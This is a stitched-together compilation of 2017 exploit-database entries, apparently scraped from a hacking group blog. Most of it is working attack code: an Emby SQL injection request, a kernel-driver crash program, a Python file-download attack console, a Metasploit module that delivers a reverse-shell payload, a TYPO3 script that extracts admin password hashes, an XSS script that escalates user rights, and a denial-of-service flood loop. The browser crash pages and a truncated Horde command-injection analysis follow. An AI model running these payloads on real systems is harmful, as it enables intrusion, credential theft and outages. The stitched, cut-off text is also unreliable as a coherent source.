Emby MediaServer 3.2.5 Boolean-based Blind SQL Injection Vulnerability
Vendor: Emby LLC
Product web page: https://www.emby.media
Affected version: 3.2.5
3.1.5
3.1.2
3.1.1
3.1.0
3.0.0
Summary: Emby (formerly Media Browser) is a media server designed to organize,
play, and stream audio and video to a variety of devices. Emby is open-source,
and uses a client-server model. Two comparable media servers are Plex and Windows
Media Center.
Desc: Emby suffers from a blind SQL injection vulnerability. Input passed via the GET
parameter 'MediaTypes' is not properly sanitised before being returned to the user
or used in SQL queries. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.
Tested on: Microsoft Windows 7 Professional SP1 (EN)
Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
Ubuntu Linux 14.04.5
MacOS Sierra 10.12.3
SQLite3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5400
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5400.php
SSD Advisory: https://blogs.securiteam.com/index.php/archives/3098
22.12.2016
--
PoC:
GET /emby/Users/abb355429db54e159ac2a7a3cbd6eb12/Items?ParentId=4cd160cad6c50f34ca42be0136af2316&Filters=IsNotFolder&Recursive=true&SortBy=SortName&MediaTypes=Audio%2cVideo'&Limit=100&Fields=MediaSources%2CChapters&ExcludeLocationTypes=Virtual HTTP/1.1
Host: 10.211.55.3:8096
accept: application/json
x-mediabrowser-token: ba5a68dfa1134bd6af642228bbf757bb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome 55.0.2883.87", DeviceId="104a154d5aa8c9576a2508113b47a53b6170253c", Version="3.1.0.0", UserId="abb355429db54e159ac2a7a3cbd6eb12"
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Connection: close
Response:
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Mono-HTTPAPI/1.0
Date: Tue, 21 Feb 2017 12:06:09 GMT
Content-Length: 64
Connection: close
Exception of type 'SQLitePCL.pretty.SQLiteException' was thrown.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863153188
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
/*
# Exploit Title: Panda Cloud Antivirus Free - 'PSKMAD.sys' - BSoD - denial of service
# Date: 2017-04-29
# Exploit Author: Peter baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: http://download.cnet.com/Panda-Cloud-Antivirus-Free-Edition/3000-2239_4-10914099.html?part=dl-&subj=dl&tag=button&lang=en
# Version: 18.0
# Tested on: Windows 7 SP1 Pro x64, Windows 10 Pro x64
# CVE : requested
*/
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define DEVICE_NAME L"\\\\.\\PSMEMDriver"
LPCTSTR FileName = (LPCTSTR)DEVICE_NAME;
HANDLE GetDeviceHandle(LPCTSTR FileName) {
HANDLE hFile = NULL;
hFile = CreateFile(FileName,
GENERIC_READ | GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
NULL,
0);
return hFile;
}
int main()
{
HANDLE hFile = NULL;
PVOID64 lpInBuffer = NULL;
ULONG64 lpBytesReturned;
PVOID64 BuffAddress = NULL;
SIZE_T BufferSize = 0x800;
printf("Trying the get the handle for the PSMEMDriver device.\r\n");
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Can't get the device handle, no BSoD today. 0x%X\r\n", GetLastError());
return 1;
}
// Allocate memory for our buffer
lpInBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpInBuffer == NULL) {
printf("VirtualAlloc() failed. \r\n");
return 1;
}
BuffAddress = (PVOID64)(((ULONG64)lpInBuffer));
*(PULONG64)BuffAddress = (ULONG64)0x542DF91B; //Pool header tag???
BuffAddress = (PVOID64)(((ULONG64)lpInBuffer + 0x4));
*(PULONG64)BuffAddress = (ULONG64)0x42424242;
BuffAddress = (PVOID64)(((ULONG64)lpInBuffer + 0x8));
RtlFillMemory(BuffAddress, BufferSize-0x8 , 0x41);
DeviceIoControl(hFile,
0xb3702c38,
lpInBuffer,
NULL, //Change it to BufferSize and put a bp PSKMAD+3150 -> rax will point to our buffer in the kernel memory
NULL,
NULL,
&lpBytesReturned,
NULL);
/*This part is pretty much useless, just wanted to be nice in case the machine survives.*/
printf("Cleaning up.\r\n");
VirtualFree((LPVOID)lpInBuffer, sizeof(lpInBuffer), MEM_RELEASE);
CloseHandle(hFile);
printf("Resources freed up.\r\n");
return 0;
}
# Exploit Title: Easy File Uploader - Arbitrary File Upload
# Date: 27/04/2017
# Exploit Author: Daniel Godoy
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/easy-file-uploader-php-multiple-uploader-with-file-manager/17222287
# Tested on: GNU/Linux
# GREETZ: Rodrigo Mouriño, Rodrigo Avila, #RemoteExecution Team
POC
Drop file php (shell.php) to upload.
access to http://poc_site/fileFolder/shell.php and enjoy!
# Exploit Title: Simple File Uploader - Arbitrary File Download
# Date: 27/04/2017
# Exploit Author: Daniel Godoy
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/simple-file-uploader-explorer-and-manager-php-based-secured-file-manager/18393053
# Tested on: GNU/Linux
# GREETZ: Rodrigo Mouriño, Rodrigo Avila, #RemoteExecution Team
POC
#!/usr/bin/env python
#https://pastebin.com/HeT7RuRU
import os,re,requests,time,base64
os.system('clear')
BLUE = '\033[94m'
RED = '\033[91m'
GREEN = '\033[32m'
CYAN = "\033[96m"
WHITE = "\033[97m"
YELLOW = "\033[93m"
MAGENTA = "\033[95m"
GREY = "\033[90m"
DEFAULT = "\033[0m"
def banner():
print WHITE+""
print " ## ## "
print " ## ## "
print " ############## "
print " #### ###### #### "
print " ###################### "
print " ## ############## ## "
print " ## ## ## ## "
print " #### ####"
print ""
def details():
print WHITE+" =[" + YELLOW + "Simple File Uploader Download Tool v1.0.0 "
print ""
def core_commands():
os.system('clear')
print WHITE+'''Core Commands\n===============\n
Command\t\t\tDescription\n-------\t\t\t-----------\n
?\t\t\tHelp menu
quit\t\t\tExit the console
info\t\t\tDisplay information
download\t\t\tExploit Vulnerability
'''
def about():
os.system('clear')
print WHITE+'''Simple File Uploader Download Tool v1.0.0 \n===============\n
Author\t\t\tDescription\n-------\t\t\t-----------\n
Daniel Godoy\t\thttps://www.exploit-db.com/author/?a=3146
'''
def download():
other = 'a'
while other != 'n':
urltarget = str(raw_input(WHITE+'Target: '))
filename = str(raw_input(WHITE+'FileName: '))
filename = base64.b64encode(filename)
print RED+"[x]Sending Attack: "+WHITE+urltarget+'download.php?id='+filename
final = urltarget+'download.php?id='+filename
r = requests.get(final)
print r.text
other = str(raw_input(WHITE+'Test other file? y/n: '))
if other == "n":
print "Type quit to exit. Bye!"
banner()
details()
option='0'
while option != 0:
option = (raw_input(RED+"pwn" + WHITE +" > "))
if option == "quit":
os.system('clear')
option = 0
elif option == "?":
core_commands()
elif option == "help":
core_commands()
elif option == "about":
about()
elif option == "download":
download()
elif option == "info":
about()
else:
print "Not a valid option! Need help? Press ? to display core commands " +GREEN
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "Mercurial Custom hg-ssh Wrapper Remote Code Exec",
'Description' => %q{
This module takes advantage of custom hg-ssh wrapper implementations that don't
adequately validate parameters passed to the hg binary, allowing users to trigger a
Python Debugger session, which allows arbitrary Python code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'claudijd',
],
'References' =>
[
['URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29']
],
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'Privileged' => false,
'DisclosureDate' => "Apr 18 2017",
'DefaultTarget' => 0
))
register_options(
[
Opt::RHOST(),
Opt::RPORT(22),
OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),
OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]),
]
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def username
datastore['USERNAME']
end
def ssh_priv_key
File.read(datastore['SSH_PRIV_KEY_FILE'])
end
def exploit
factory = ssh_socket_factory
ssh_options = {
auth_methods: ['publickey'],
config: false,
use_agent: false,
key_data: [ ssh_priv_key ],
port: rport,
proxy: factory,
non_interactive: true
}
ssh_options.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, ssh_options)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
print_good("SSH connection is established.")
ssh.open_channel do |ch|
ch.exec "hg -R --debugger serve --stdio" do |ch, success|
ch.on_extended_data do |ch, type, data|
if data.match(/entering debugger/)
print_good("Triggered Debugger (#{data})")
ch.send_data "#{payload.encoded}\n"
else
print_bad("Unable to trigger debugger (#{data})")
end
end
end
end
begin
ssh.loop unless session_created?
rescue Errno::EBADF => e
elog(e.message)
end
end
end
end
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1118
There is a memory corruption vulnerability in Internet Explorer. The vulnerability was confirmed on Internet Explorer Version 11.576.14393.0 (Update Version 11.0.38) running on Windows 10 64-bit with page heap enabled for iexplore.exe process.
PoC:
===========================================================
-->
<!-- saved from url=(0014)about:internet -->
<style>
#details { transition-duration: 61s; }
</style>
<script>
function go() {
document.fgColor = "foo";
m.setAttribute("foo", "bar");
document.head.innerHTML = "a";
}
</script>
<body onload=go()>
<details id="details">
<summary style="transform: scaleY(4)">
<marquee id="m" bgcolor="rgb(135,114,244)">aaaaaaaaaaaaa</marquee>
<style></style>
<!--
===========================================================
The crash happens in CStyleSheetArray::BuildListOfMatchedRules while attempting to read memory outside of the bounds of the object pointed by eax (possibly due to a type confusion issue, but I didn't investigate in detail). If that read is successful and attacker-controlled address is read into edi, this down the line leads to a write at the attacker controlled address in CStyleSheetArray::BuildListOfProbableRules. Thus it might be possible to turn the issue into code execution.
Debug info:
(d10.1504): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0fb60f78 ebx=0b124940 ecx=00000006 edx=00000000 esi=0b124940 edi=173de770
eip=71eb1137 esp=173dda30 ebp=173ddaa4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CStyleSheetArray::BuildListOfMatchedRules+0x77:
71eb1137 8bb824010000 mov edi,dword ptr [eax+124h] ds:002b:0fb6109c=????????
0:021> r
eax=0fb60f78 ebx=0b124940 ecx=00000006 edx=00000000 esi=0b124940 edi=173de770
eip=71eb1137 esp=173dda30 ebp=173ddaa4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CStyleSheetArray::BuildListOfMatchedRules+0x77:
71eb1137 8bb824010000 mov edi,dword ptr [eax+124h] ds:002b:0fb6109c=????????
0:021> k
# ChildEBP RetAddr
00 173ddaa4 71eb3674 MSHTML!CStyleSheetArray::BuildListOfMatchedRules+0x77
01 173ddd6c 71eb041e MSHTML!CElement::ApplyStyleSheets+0x504
02 173ddd9c 720b43e5 MSHTML!CElement::ApplyDefaultFormat+0x8e
03 173de1b0 71edf524 MSHTML!CElement::ComputeFormatsVirtual+0xe25
04 173de248 720b343a MSHTML!CElement::ComputeFormats+0x374
05 173de274 720b36cd MSHTML!CFormatInfo::FindFormattingParent+0x45a
06 173de690 71edf524 MSHTML!CElement::ComputeFormatsVirtual+0x10d
07 173de738 71ede88b MSHTML!CElement::ComputeFormats+0x374
08 173de754 71ede3c4 MSHTML!CTreeNode::ComputeFormats+0x6b
09 173df3b0 722e4e79 MSHTML!CTreeNode::ComputeFormatsHelper+0x34
0a 173df3b8 7201745c MSHTML!CTreeNode::GetSvgFormatHelper+0xa
0b 173df3c0 72756588 MSHTML!Tree::Style::HasCompositionItems+0x26
0c 173df3cc 72787473 MSHTML!Layout::InlineLayout::HasCompositionItems+0x28
0d 173df5dc 72788c30 MSHTML!CDispScroller::CalcScrollBits+0x526
0e 173df6c8 72246c2a MSHTML!CDispScroller::InvalidateScrollDelta+0x147
0f 173df6f4 71d8174e MSHTML!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0xf8a1a
10 173df710 71d81667 MSHTML!CRenderTaskApplyPSP::ProcessScrollerUpdateRequests+0x34
11 173df740 71f0e9bb MSHTML!CRenderTaskApplyPSP::Execute+0xe7
12 173df79c 71de27d3 MSHTML!CRenderThread::RenderThread+0x31b
13 173df7ac 72fa17cd MSHTML!CRenderThread::StaticRenderThreadProc+0x23
14 173df7e4 74c362c4 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x8d
15 173df7f8 77700fd9 KERNEL32!BaseThreadInitThunk+0x24
16 173df840 77700fa4 ntdll!__RtlUserThreadStart+0x2f
17 173df850 00000000 ntdll!_RtlUserThreadStart+0x1b
-->
# Exploit Title: TYPO3 News Module SQL Injection
# Vendor Homepage: https://typo3.org/extensions/repository/view/news
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/typo3-news-module-sqli
#!/usr/bin/python3
# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#
import requests
import string
session = requests.Session()
session.proxies = {'http': 'localhost:8080'}
# Change this
URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'
FULL_CHARSET = string.ascii_letters + string.digits + '$./'
def blind(field, table, condition, charset):
# We add 9 so that the result has two digits
# If the length is superior to 100-9 it won't work
size = blind_size(
'length(%s)+9' % field, table, condition,
2, string.digits
)
size = int(size) - 9
data = blind_size(
field, table, condition,
size, charset
)
return data
def select_position(field, table, condition, position, char):
payload = 'select(%s)from(%s)where(%s)' % (
field, table, condition
)
payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)
payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (
payload, ord(char)
)
return payload
def blind_size(field, table, condition, size, charset):
string = ''
for position in range(size):
for char in charset:
payload = select_position(field, table, condition, position+1, char)
if test(payload):
string += char
print(string)
break
else:
raise ValueError('Char was not found')
return string
def test(payload):
response = session.post(
URL,
data=data(payload)
)
response = response.text
return response.index(PATTERN0) < response.index(PATTERN1)
def data(payload):
return {
'tx_news_pi1[overwriteDemand][order]': payload,
'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,
'tx_news_pi1[search][subject]': '',
'tx_news_pi1[search][minimumDate]': '2016-01-01',
'tx_news_pi1[search][maximumDate]': '2016-12-31',
}
# Exploit
print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))
---------------------------------------------------------------
# Exploit Title: XSRF Stored Revive Ad Server 4.0.1
# Date: 24/04/2017
# Exploit Author: Cyril Vallicari / HTTPCS / ZIWIT
# Vendor Website : https://www.revive-adserver.com/
# Software download : https://www.revive-adserver.com/download/
# Version: 4.0.1
# Tested on: Windows 7 x64 SP1 / Kali Linux
Description :
A vulnerability has been discovered in Revive Ad Server, which can be
exploited by malicious people to conduct cross-site scripting attacks.
When you create a banner using Generic HTML Banner, input
passed via the 'htmltemplate' parameter to '/banner-edit.php' is not
properly sanitised before being returned to the user (This is probably
expected as it's an html banner). But, this can be exploited
to execute arbitrary HTML and script code in a user's browser session in
context of an affected site.
This XSS vector allow to execute scripts to gather the CSRF token
and submit a form to update user rights
Here's the script :
---------------------- Javascript-------------------------------
var tok = document.getElementsByName('token')[0].value;
var txt = '<form method="POST" id="hacked" action="agency-user.php">'
txt += '<input type="hidden" name="submit[]" value="1"/>'
txt += '<input type="hidden" name="token" value="' + tok + '"/>'
txt += '<input type="hidden" name="userid" value="2"/>'
txt += '<input type="hidden" name="email_address" value="test2@test.com"/>'
txt += '<input type="hidden" name="agencyid" value="1"/>'
txt += '<input type="hidden" name="permissions[]" value="10"/>'
txt += '</form>'
var d1 = document.getElementById('firstLevelContent');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked").submit();
---------------------- Javascript End-------------------------------
(little trick to submit a form that has a "submit" parameter, just use a
list "submit[]")
This will update user rights and allow to manage accounts
POC video : https://www.youtube.com/watch?v=wFuN-ADlJpM
Patch : No patch yet
---------------------------------------------------------------
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec
Vendor:
============
www.moxa.com
Product:
===========
MXView v2.8
Download:
http://www.moxa.com/product/MXstudio.htm
MXview Industrial Network Management Software.
Auto discovery of network devices and physical connections
Event playback for quick troubleshooting
Color-coded VLAN/IGMP groups and other visualized network data
Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.
Vulnerability Type:
===================
Denial Of Service
CVE Reference:
==============
CVE-2017-7456
Security Issue:
================
Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.
Exploit/POC:
=============
import urllib,urllib2
print 'Moxa MXview v2.8 web interface DOS'
print 'hyp3rlinx'
IP=raw_input("[Moxa MXView IP]>")
PAYLOAD="A"*200000000
url = 'http://'+IP+'/goform/account'
data = urllib.urlencode({'uid' : PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})
while 1:
req = urllib2.Request(url, data)
res = urllib2.urlopen(req)
print res
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
==========================================================
Vendor Notification: March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1121
Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
// Support for <frame src="javascript:string">
URL scriptURL;
URL url;
if (protocolIsJavaScript(urlString)) {
scriptURL = completeURL(urlString); // completeURL() encodes the URL.
url = blankURL();
} else
url = completeURL(urlString);
if (shouldConvertInvalidURLsToBlank() && !url.isValid())
url = blankURL();
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
if (!frame)
return false;
if (!scriptURL.isEmpty())
frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom
return true;
}
A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.
Tested on Safari 10.0.3(12602.4.8).
PoC:
-->
<body>
<p>click anywhere</p>
<script>
window.onclick = () => {
window.onclick = null;
f = document.createElement('iframe');
f.src = 'javascript:alert(location)';
f.onload = () => {
f.onload = null;
let a = f.contentDocument.createElement('a');
a.href = 'https://abc.xyz/';
a.click();
window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
try {
opener[0].document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
};
document.body.appendChild(f);
};
cached.src = kUrl;
</script>
</body>
Source: https://blogs.securiteam.com/index.php/archives/3107
Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in
Horde Groupware Webmail.
Horde Groupware Webmail Edition is a free, enterprise ready, browser
based communication suite. Users can read, send and organize email
messages and manage and share calendars, contacts, tasks, notes,
files, and bookmarks with the standards compliant components from the
Horde Project. Horde Groupware Webmail Edition bundles the separately
available applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo,
Gollem, and Trean.
It can be extended with any of the released Horde applications or the
applications that are still in development, like a bookmark manager or
a file manager.
Affected versions: Horde 5, 4 and 3
The vulnerabilities found in Horde Groupware Webmail are:
Authentication Remote Code Execution
Unauthentication Remote Code Execution
Credit
An independent security researcher has reported this vulnerability to
Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Horde has released a patch to address the vulnerabilities.
For more information:
https://lists.horde.org/archives/horde/Week-of-Mon-20170403/056767.html
Vulnerabilities Details
Authentication Remote Code Execution
Horde Webmail contains a vulnerability that allows a remote attacker
to execute arbitrary code with the privileges of the user who runs the
web server.
For successful attack GnuPG feature should be enabled on the target
server (path to gpg binary should be defined in $conf[gnupg][path]
setting).
Vulnerable code: encryptMessage() function of GPG feature.
Path: /Horde/Crypt/Pgp/Backend/Binary.php:
/* 416 */ public function encryptMessage($text, $params)
/* 417 */ {
/* … */
/* 435 */ foreach (array_keys($params['recips']) as $val) {
/* 436 */ $cmdline[] = '--recipient ' . $val;
#! vulnerable code
/* … */
/* 444 */ /* Encrypt the document. */
/* 445 */ $result = $this->_callGpg(
/* 446 */ $cmdline,
/* 447 */ 'w',
/* 448 */ empty($params['symmetric']) ? null : $params['passphrase'],
/* 449 */ true,
/* 450 */ true
/* 451 */ );
$params[‘recips’] will be added to $cmdline array and passed to _callGpg():
Path: /Horde/Crypt/Pgp/Backend/Binary.php:
/* 642 */ public function _callGpg(
/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false,
/* 644 */ $parseable = false, $verbose = false
/* 645 */ )
/* 646 */ {
/* … */
/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options));
/* … */
/* 681 */ if ($mode == 'w') {
/* 682 */ if ($fp = popen($cmdline, 'w')) { #!
vulnerable code
/* … */
We can see that our recipients (addresses) will be in command line
that is going to be executed. encryptMessage() function can be reached
by various API, requests. For example it will be called when user try
to send encrypted message.
Our request for encryption and sending our message will be processed
by buildAndSendMessage() method:
Path: /imp/lib/Compose.php
/* 733 */ public function buildAndSendMessage(
/* 734 */ $body, $header, IMP_Prefs_Identity $identity, array $opts = array()
/* 735 */ )
/* 736 */ {
/* 737 */ global $conf, $injector, $notification, $prefs, $registry, $session;
/* 738 */
/* 739 */ /* We need at least one recipient & RFC 2822 requires that no 8-bit
/* 740 */ * characters can be in the address fields. */
/* 741 */ $recip = $this->recipientList($header);
/* ... */
/* 793 */ /* Must encrypt & send the message one recipient at a time. */
/* 794 */ if ($prefs->getValue('use_smime') &&
/* 795 */ in_array($encrypt, array(IMP_Crypt_Smime::ENCRYPT,
IMP_Crypt_Smime::SIGNENC))) {
/* ... */
/* 807 */ } else {
/* 808 */ /* Can send in clear-text all at once, or PGP can encrypt
/* 809 */ * multiple addresses in the same message. */
/* 810 */ $msg_options['from'] = $from;
/* 811 */ $save_msg = $this->_createMimeMessage($recip['list'], $body,
$msg_options); #! vulnerable code
In line 741 it tries to create recipient list: Horde parsers values of
‘to’, ‘cc’, ‘bcc’ headers and creates list of Rfc822 addresses. In
general there are restrictions for characters in addresses but if we
will use the next format:
display-name <"somemailbox"@somedomain.com>
somemailbox will be parsed by _rfc822ParseQuotedString() method:
Path: /Horde/Mail/Rfc822.php:
/* 557 */ protected function _rfc822ParseQuotedString(&$str)
/* 558 */ {
/* 559 */ if ($this->_curr(true) != '"') {
/* 560 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.');
/* 561 */ }
/* 563 */ while (($chr = $this->_curr(true)) !== false) {
/* 564 */ switch ($chr) {
/* 565 */ case '"':
/* 566 */ $this->_rfc822SkipLwsp();
/* 567 */ return;
/* 569 */ case "\n":
/* 570 */ /* Folding whitespace, remove the (CR)LF. */
/* 571 */ if (substr($str, -1) == "\r") {
/* 572 */ $str = substr($str, 0, -1);
/* 573 */ }
/* 574 */ continue;
/* 576 */ case '\\':
/* 577 */ if (($chr = $this->_curr(true)) === false) {
/* 578 */ break 2;
/* 579 */ }
/* 580 */ break;
/* 581 */ }
/* 583 */ $str .= $chr;
/* 584 */ }
/* 586 */ /* Missing trailing '"', or partial quoted character. */
/* 587 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.');
/* 588 */ }
There are only a few limitations:
we cannot use “
\n will be deleted
we cannot use \ at the end of our mailbox
After creation of recipient list buildAndSendMessage() will call
_createMimeMessage():
Path: /imp/lib/Compose.php
/* 1446 */ protected function _createMimeMessage(
/* 1447 */ Horde_Mail_Rfc822_List $to, $body, array $options = array()
/* 1448 */ )
/* 1449 */ {
/* 1450 */ global $conf, $injector, $prefs, $registry;
/* ... */
/* 1691 */ /* Set up the base message now. */
/* 1692 */ $encrypt = empty($options['encrypt'])
/* 1693 */ ? IMP::ENCRYPT_NONE
/* 1694 */ : $options['encrypt'];
/* 1695 */ if ($prefs->getValue('use_pgp') &&
/* 1696 */ !empty($conf['gnupg']['path']) &&
/* 1697 */ in_array($encrypt, array(IMP_Crypt_Pgp::ENCRYPT,
IMP_Crypt_Pgp::SIGN, IMP_Crypt_Pgp::SIGNENC,
IMP_Crypt_Pgp::SYM_ENCRYPT, IMP_Crypt_Pgp::SYM_SIGNENC))) {
/* 1698 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp');
/* ... */
/* 1727 */ /* Do the encryption/signing requested. */
/* 1728 */ try {
/* 1729 */ switch ($encrypt) {
/* ... */
/* 1735 */ case IMP_Crypt_Pgp::ENCRYPT:
/* 1736 */ case IMP_Crypt_Pgp::SYM_ENCRYPT:
/* 1737 */ $to_list = clone $to;
/* 1738 */ if (count($options['from'])) {
/* 1739 */ $to_list->add($options['from']);
/* 1740 */ }
/* 1741 */ $base = $imp_pgp->IMPencryptMIMEPart($base, $to_list,
($encrypt == IMP_Crypt_Pgp::SYM_ENCRYPT) ?
$symmetric_passphrase : null);
/* 1742 */ break;
Here we can see validation (1695-1696 lines) that:
Current user has enabled “use_pgp” feature in his preferences (it is
not a problem as an attacker can edit his own preferences)
$conf[‘gnupg’][‘path’] is not empty. This value can be edited only by
admin. So if we don’t have value here our server is not vulnerable.
But if admin wants to allow users to use GPG feature he/she needs to
define value for this config.
Also we can see that in lines 1737-1739 to our recipient list will be
added address “from” as well.
Path: /imp/lib/Crypt/Pgp.php
/* 584 */ public function impEncryptMimePart($mime_part,
/* 585 */ Horde_Mail_Rfc822_List $addresses,
/* 586 */ $symmetric = null)
/* 587 */ {
/* 588 */ return $this->encryptMimePart($mime_part,
$this->_encryptParameters($addresses, $symmetric));
/* 589 */ }
Before encryptMimePart() call Horde uses _encryptParameters()
Path: /imp/lib/Crypt/Pgp.php
/* 536 */ protected function _encryptParameters(Horde_Mail_Rfc822_List
$addresses,
/* 537 */ $symmetric)
/* 538 */ {
/* ... */
/* 546 */ $addr_list = array();
/* 548 */ foreach ($addresses as $val) {
/* 549 */ /* Get the public key for the address. */
/* 550 */ $bare_addr = $val->bare_address;
/* 551 */ $addr_list[$bare_addr] = $this->getPublicKey($bare_addr);
/* 552 */ }
/* 554 */ return array('recips' => $addr_list);
/* 555 */ }
Horde will add to each address its Public Key. There a few source of
Public Keys:
AddressBook (we will use this source)
Servers with Public Keys
Note that Horde should be able to find Public Key for our “From”
address as well.
We can generate pair of PGP keys (https is required) or we can use the
same trick with AddressBook (we can create some contact, add any valid
Public PGP key, and add this address to default identity)
encryptMimePart() will call encrypt() method
Path: /Horde/Crypt/Pgp.php
/* 773 */ public function encryptMIMEPart($mime_part, $params = array())
/* 774 */ {
/* 775 */ $params = array_merge($params, array('type' => 'message'));
/* … */
/* 781 */ $message_encrypt = $this->encrypt($signenc_body, $params);
It will call encryptMessage()
Path: /Horde/Crypt/Pgp.php
/* 554 */ public function encrypt($text, $params = array())
/* 555 */ {
/* 556 */ switch (isset($params['type']) ? $params['type'] : false) {
/* 557 */ case 'message':
/* 558 */ $error = Horde_Crypt_Translation::t(
/* 559 */ "Could not PGP encrypt message."
/* 560 */ );
